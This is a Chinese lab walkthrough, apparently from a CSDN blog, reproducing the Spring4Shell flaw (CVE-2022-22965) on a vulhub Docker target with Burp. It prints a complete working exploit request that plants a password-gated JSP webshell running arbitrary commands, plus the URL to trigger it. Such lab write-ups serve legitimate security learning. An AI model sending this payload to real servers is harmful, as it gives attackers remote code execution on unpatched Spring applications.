Java 框架安全:Spring 漏洞序列.(CVE-2022-22965)

什么叫 Spring 框架.

Spring 框架是一个用于构建企业级应用程序的开源框架。它提供了一种全面的编程和配置模型,可以简化应用程序的开发过程。Spring 框架的核心特性包括依赖注入(Dependency Injection)、面向切面编程(Aspect-Oriented Programming)、声明式事务管理(Declarative Transaction Management)等。依赖注入是 Spring 框架的核心概念之一,它通过将对象之间的依赖关系外部化,使得对象之间的协作更加灵活和可测试。Spring 框架提供了多种方式来实现依赖注入,包括构造函数注入、Setter 方法注入和字段注入。


目录:

[什么叫 Spring 框架.](#什么叫 Spring 框架.)

[开启 漏洞 靶场:](#开启 漏洞 靶场:)

(1)查看目录:

[(2)启用 vulhub 漏洞:](#(2)启用 vulhub 漏洞:)

[(3)进行浏览:主机的 8080 端口.](#(3)进行浏览:主机的 8080 端口.)

[进行 漏洞 测试:](#进行 漏洞 测试:)

第一步:设置代理服务器

(1)设置代理服务器

[(2) 新建代理服务器,选择手动代理](#(2) 新建代理服务器,选择手动代理)

[(3)使用 刚刚设置的代理.](#(3)使用 刚刚设置的代理.)

第二步:执行进行抓包.

[(1)打开Burp,点击代理 设置监听的IP地址和端口](#(1)打开Burp,点击代理 设置监听的IP地址和端口)

第三步:进行漏洞测试.


开启 漏洞 靶场:

Web安全:iwebsec || vulhub 靶场搭建.(各种漏洞环境集合,一键搭建漏洞测试靶场)_iwebsec靶场-CSDN博客


(1)查看目录:

复制代码
(1)cd vulhub
 
(2)ls

​


(2)启用 vulhub 漏洞:

复制代码
(1)cd spring                     // 切换到对应的漏洞目录.
 
(2)cd CVE-2022-22965              // 切换到对应的漏洞版本.

(3)docker-compose build           // 建立容器

(4)docker-compose up -d           //   启用漏洞环境.

​ ​


(3)进行浏览:主机的 8080 端口.

​


进行 漏洞 测试:

第一步:设置代理服务器

(1)设置代理服务器(我用的是:OWASP浏览器,也可以用别的浏览器 设置代理服务器就行)

​


(2) 新建代理服务器,选择手动代理 设置127.0.0.1(为本地的IP地址),设置代理的端口8080

​


(3)使用 刚刚设置的代理.

​


第二步:执行进行抓包.

(1)打开Burp,点击代理 设置监听的IP地址和端口(就是刚刚浏览器设置的代理,127.0.0.1(是本地的IP地址),8080(是监听的端口))

​


(2)进行访问漏洞的链接.(使用 Burp抓包.)

​

复制代码
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.32.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 	AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 		Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

​


第三步:进行漏洞测试.

(1)访问刚才上传的 JSP webshell,并执行任意命令.

复制代码
http://172.16.10.19:8080/tomcatwar.jsp?pwd=j&cmd=id

​

相关推荐
漠月瑾-西安7 小时前
PHP曝出两个严重RCE漏洞:CVE-2026-109618、CVE-2026-109619技术分析与修复指南
网络安全·php·漏洞分析·漏洞修复·远程代码执行
wangchunyu1148 小时前
JAVA CompletableFuture异步编程实战
java·开发语言·python
paopaokaka_luck9 小时前
流浪动物救助与收养系统(DeepSeek AI对话、 ECharts多维分析、救助流程衔接、领养与回访衔接、 捐赠确认与公示、志愿者协作)
java·前端·javascript·人工智能·mysql·echarts·推荐算法
Thomas.Sir9 小时前
第9课:SpringBoot4.x Web开发基础:WebMvc自动配置、静态资源、请求参数接收
java·spring boot
程序 代码狂人9 小时前
切片表与分区表的区别(数据开发面试版)
java·大数据·开发语言·数据仓库·算法
2501_9445215910 小时前
Deepmerge 跨端三方库仓颉适配全流程
java·python·eclipse·github
EnCi Zheng11 小时前
后端怎么把AI接口稳定安全低成本接进业务:超时重试、密钥隔离与成本熔断清单
人工智能·后端·安全·架构·api
南归北隐11 小时前
Spring AI Alibaba Graph框架实现MCP数据库查询实战
java·后端·spring ai·mcp·spring ai mcp
学逆向的11 小时前
C 指针常量与常量指针
c语言·开发语言·网络安全
古法老登瞎折腾11 小时前
大数据智能运维实战(九):让 AI 查日志——找到异常,也保留上下文
java·大数据·运维·人工智能·spring ai·mcp